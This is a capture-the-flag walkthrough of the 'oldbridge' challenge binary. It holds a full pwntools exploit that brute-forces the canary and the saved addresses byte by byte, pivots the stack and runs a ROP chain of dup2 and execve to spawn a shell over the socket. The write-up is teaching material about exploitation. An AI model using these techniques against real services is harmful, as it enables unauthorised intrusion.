old bridge

The file have almost all protections but the reallocation read only enabed.

Pasted image 20250107214707.png

We can put this binary in IDA to the a disassemble.

Pasted image 20250107201038.png

This part of the program consists in setting up a listener on the port provided in the argv[1]. When a connection is received, the program calls fork() before sending the file descriptor of the connection to check_username().

Pasted image 20250107201434.png

We can clearly see a buffer overflow on the line 12, where the function read reads 1056 bytes from the file descriptor and writes it into the buf[1032] array. After it, the program does a XOR operation to the entire received array with the 0x0D byte and compare the start of the xored array with the string "davide".

Pasted image 20250107221711.png

Back on the main function, the program checks the result of check_username() and, if it went with success, the it prints the string "Username found", if not, it just exits.

To explore this in order to control the execution flow, we must get a way to leak the canary value. As mentioned before, the binary calls fork() before calling check_username(), so we can use brute it byte per byte using the same technique used on the rope machine taking advantage that we can differentiate when the program crashes by receiving or not the username found string.

import sys
from pwn import *

SERVER, PORT = ("localhost", 1337)
context.arch = "amd64"
CRASH = 1032

def brute_8_bytes(data, pre_payload, delay=0.250):
    content = b""

    while len(content) != 8:
        for i in range(256):
	        print(f"trying byte {hex(i)}\r", end='')
            byte = p8(i)
            
            r = remote(SERVER, PORT, level="warning")
            r.send(pre_payload + content + byte)                
            res = r.clean(timeout=delay)
            r.close()

            if b"Username found!\n" in res:
                content += byte
                log.info(f"{data} updated: {content}")
                break

    return content, xor(content, 0xd)

payload  = b"davide" 
payload += b'A' * (CRASH - len(payload))

xored_canary, canary = brute_8_bytes("canary", payload, 0.05)
log.success(f"canary found: {hex(u64(xored_canary))} ({hex(u64(canary))})")
breakpoint()

Executing it and reading the canary value, we got a QWORD that seems like a canary.

Pasted image 20250107223143.png

Let's attach a debugger and use the pwndbg's canary command to verify the value.

Pasted image 20250107223316.png

As we only have 24 bytes after the crash, we cannot store a ROP chain in the end of the payload, so we need to use a technique called stack pivoting in order to store our chain in the start of the payload.

To explore this, we would need to use a leave instruction to change the value stored in RBP to RSP, effectively controlling the stack start.

As detailed in my rope writeup, we would need to brute RBP in order to get the return address, so we can use our brute_8_bytes function.

payload += xored_canary
xored_rbp, rbp = brute_8_bytes("rbp", payload, 0.05)
log.success(f"rbp found: {hex(u64(xored_rbp))} ({hex(u64(rbp))})")

payload_offset = u64(rbp) - 0x480
log.info(f"calculated payload offset: {hex(payload_offset)}")

payload += xored_rbp
xored_rip, rip = brute_8_bytes("rip", payload, 0.05)
rip = b"\xcf" + rip[1:]
breakpoint()

After run the current version of the exploit, we can get the return address.

Pasted image 20250107225251.png

Now, we can calculate the libc address value by simply subtracting the offset from the value.

elf = ELF("./oldbridge", checksec=False)
elf.address = u64(rip) - 0xECF
log.info(f"calculated elf offset: {hex(elf.address)}")

Doing the operation in the debugger, we get this value.

Pasted image 20250107230557.png

And when checking it against the base address got from pwndbg's libs command.

Pasted image 20250107230451.png

The challenge has a syscall gadget, so we can use it to summon how much syscalls we desire, including dup2, to copy the connection file descriptor to the shell stdin and stdout, and the execve, to spawn our shell.

LEAVE       = 0x0000000000000b6d    # leave ; ret
POP_RDI     = 0x0000000000000f73    # pop rdi ; ret
POP_RSI_R15 = 0x0000000000000f71    # pop rsi ; pop r15 ; ret
POP_RDX     = 0x0000000000000b53    # pop rdx ; ret
POP_RAX     = 0x0000000000000b51    # pop rax ; ret
SYSCALL     = 0x0000000000000b55    # syscall

breakpoint()

payload = b"davide"
payload += flat(
    0,                          # pop rbp

    elf.address + POP_RAX,
    33,                         # dup2 syscall
    elf.address + POP_RDI,
    4,                          # oldfd
    elf.address + POP_RSI_R15,  
    0,                          # newfd -> stdin
    0,                          # r15
    elf.address + SYSCALL,

    elf.address + POP_RAX,
    33,                         # dup2 syscall
    elf.address + POP_RDI,
    4,                          # oldfd
    elf.address + POP_RSI_R15,  
    1,                          # newfd -> stdout
    0,                          # r15
    elf.address + SYSCALL,

    elf.address + POP_RAX,
    59,                         # dup2 syscall
    elf.address + POP_RDI,
    payload_offset + 6 + (8 * 27), # file_name -> /bin/sh addr
    elf.address + POP_RSI_R15,  
    0,                          # argv -> NULL
    0,                          # r15
    elf.address + POP_RDX,
    0,                          # envp -> NULL
    elf.address + SYSCALL,

    b"/bin/sh\x00"
)

payload += b"A" * (CRASH - len(payload))
payload += flat(
    canary,
    payload_offset + 6,
    elf.address + LEAVE
)


while True:
    try:
        r = remote(SERVER, PORT)
        r.sendafter(b"Username: ", xor(payload, 0xd))
        r.send(b"id\x0a")
        res = r.clean(1)

        if b"uid" in res:
            r.interactive()
            r.close()
            r.close()
    except:
        r.close()

Executing the exploit and after a few tries, we got execution xD!

Screenshot_20250107_231813.png

Last updated